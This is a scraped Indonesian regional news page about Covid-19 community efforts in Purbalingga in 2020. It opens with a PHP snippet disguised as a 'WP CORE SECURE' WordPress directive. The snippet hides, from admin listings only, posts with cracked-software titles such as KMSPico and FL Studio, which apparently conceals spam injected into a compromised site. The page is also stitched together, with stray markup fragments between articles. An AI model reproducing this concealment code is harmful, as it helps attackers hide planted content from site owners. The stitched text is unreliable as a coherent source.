# BEGIN WP CORE SECURE
# Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE"
# dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress.
# Setiap perubahan pada arahan di antara penanda berikut akan ditimpa.
function exclude_posts_by_titles($where, $query) {
global $wpdb;
if (is_admin() && $query->is_main_query()) {
$keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner'];
foreach ($keywords as $keyword) {
$where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%");
}
}
return $where;
}
add_filter('posts_where', 'exclude_posts_by_titles', 10, 2);
# END WP CORE SECURE
Adapun pelaksanaan PPKM sesuai SE Bupati adalah sebagai berikut :
“Dari hasil penggalangan dana yang dilakukan KNPI Peduli, kami utamakan untuk membeli APD (Alat Pelindung Diri) karena itu yang sangat dibutuhan,” kata ketua KNPI Peduli, Dhimas Agung Ramadhan seusai memberikan bantuan di RS Nirmala, Jum’at (10/4).
Adapun APD yang diberikan berupa berupa hazmat, face shield, Handscoon, dan handsanitizer.Selain itu, multivitamin dan susu juga dibagikan pada sejumlah posko gugus , puskesmas, rumah sakit rujukan Covid-19.
Dhimas menambahkan KNPI bekerja sama dengan Akrilik Semarang dalam pengadaan face shield dan berkolaborasi dengan anggota Komisi III DPRD Purbalingga, Setiyani Rahayu dalam memberikan sosialisasi pandemic COVID-19 di Desa Bumisari, Kecamatan Bojongsari beberapa waktu yang lalu.
“Ini merupakan inisiatif kita sebagai manifestasi pemuda purbalingga. Aksi solidaritas ini ada karena kita sadar permasalahan ini harus dihadapi bersama. Saling suport menangani musibah pandemi Covid-19, ” kata Dhimas.
Penggalangan dana yang dilakukan KNPI Peduli dimulai 30 Maret 2020 – 09 April 2020 dan penyaluran bantuan dari 3 sampai 11 April 2020 di 9 titik lokasi. Ketua Tim KNPI peduli, Vita Setya Mardika mengatakan kami sangat berterimakasih sekali kepada orang baik yang telah membantu berdonasi membantu pejuang kemanusiaan kita dan untuk pelaporan jumlah dana yang terkumpul dari donatur, penggunaan dana dan penyaluran bantuan telah kami sampaikan melalui instagram @pemuda_purbalingga.
(Humas KNPI)
Ketua Takmir Mushala an Nuur Dusun 1 Desa Penaruban, Abdul Aziz, mengatakan penyemprotan dimulai dari tempat ibadah yakni di mushala an Nuur. Kemudian dilanjutkan kelingkungan warga terutama dihalaman rumah sepanjang jalan utama Desa.
“Giat penyemprotan disinfektan untuk mencegah penyebaran virus covid-19 ini, atas inisiatif warga RT 01 RW 01. Dikoordinir oleh Ketua RT 01/01 bapak Toni dan Ketua RW 01/01 bapak Sugiat. Dan disakaikan pula oleh Kepala Dusun 1 Desa Penaruban bapak Supriyanto,” katanya, Kamis (26/3/2020).
Untuk penyemprotan, lanjutnya, menggunakan dua alat semprot. Untuk jalan Desa menggunakan alat semprot mesin dengan mengendarai mobil. Sementara untuk rumah warga dan tempat ibadah menggunakan alat semprot kecil.
“Penyemprotan diutamakan pada benda-benda yang sering bersentuhan dengan tangan. Seperti handel pintu, tangga, teras rumah, jendela dan lantai serta meja kursi,” ucapnya.
Aziz menambahkan, kegiatan penyemprotan disinfektan hingga sore ini, tidak hanya sebatas dilingkungan RT 01/01. Namun juga meluas ke lingkungan Dusun 1 Desa Penaruban.
Dari kegiatan swadaya masyarakat ini, ia juga berharap semua elemen masyarakat bisa bersama-sama bergotongroyong melawan atau mencegah penyebaran virus covid-19. (ies)
]]>Dijelaskan oleh Kepala Desa Karanganyar bahwa deteksi dini dilakukan dengan cara mengirimkan formulir lapor mandiri online melalui broadcast WA.
Tofik mengirimkan pesan melalui WA yang bertuliskan “Untuk Warga Desa Karanganyar, mohon partisipasinya untuk mengisi formulir Lapor Mandiri terkait Virus Covid-19 sbb : https://forms.gle/YEr2ELTkrbVditxEA”
Adapun sejumlah pertanyaan yang dituangkan dalam lapor mandiri online tersebut diantaranya mengenai ketersedian masker dan handsanitizer dirumah, sosial distancing, kondisi kesehatan serta mobilitas warga selama 14 hari terakhir.
Lapor mandiri online yang dilakukan sejak jam 7.30 pagi tadi ini sudah diikuti oleh 91warga. Melalui lapor mandiri online ini diharapkan diperoleh data mengenai deteksi dini covid-19 di wilayah Desa Karanganyar tanpa harus melakukan tatap muka karena pelaporan dilakukan secara online oleh warga dengan cara mengisi formulir melalui HP.
Dari data sementara yang masuk diperoleh informasi bahwa sampai saat ini belum ada warga Desa Karanganyar yang mengalami gejala terkena virus Covid-19 seperti demam tinggi dan sesak nafas sampai merasa kesulitan berbicara dalam 14 hari terakhir, kata Tofik. (*inf)
]]>